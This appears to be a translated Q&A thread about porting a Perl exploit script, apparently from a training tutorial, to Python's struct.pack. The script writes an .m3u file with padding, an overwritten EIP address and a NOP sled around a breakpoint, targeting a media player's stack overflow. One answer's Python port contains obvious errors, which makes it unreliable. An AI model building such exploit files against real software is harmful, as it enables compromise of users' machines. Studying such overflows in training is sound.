Python中的Perl's Pack('V')函数?

2024-05-16 00:51:08 发布

您现在位置:Python中文网/ 问答频道 /正文

我最近一直在做一些开发工作来准备一个培训课程,我遇到了一个教程的问题。我一直在跟随我能找到的所有教程,使用Python而不是教程使用的语言,这是不受欢迎的。我试图对所有内容进行交叉编码,但我不知道如何对Perl的Pack()函数进行交叉编码。

TL;博士: 我想把它翻译成python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

我找到了Python的struct.pack()函数,但是当我使用

Fuzzed.write(struct.pack('V', 0x773D10A4))

,它会停止程序并且不起作用。我做错什么了?

这是我的全部源代码

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

Tags: 函数编码my教程交叉structpackfile
3条回答

尝试使用"L<"包模板而不是"V"。这应该在Perl和Python中都有效。NV是指定endianness的较旧的Perl方法,而<>是较新的方法。看起来,当Python从Perl中借用pack时,它只使用了更新的、更灵活的接口。

编辑:Python希望在类型说明符之前使用<,而Perl希望在类型说明符之后使用。不太兼容:

我已经翻译成python,我已经尝试过MP3转换器。你的答案是:

import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" " 
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"

Python的struct.packendianess/size variation使用第一个字符,然后对data type使用一个或多个字符。Perl的Vmeans32位无符号int/little endian。

Python的模拟是struct.pack('<I', 0x773D10A4)

相关问题 更多 >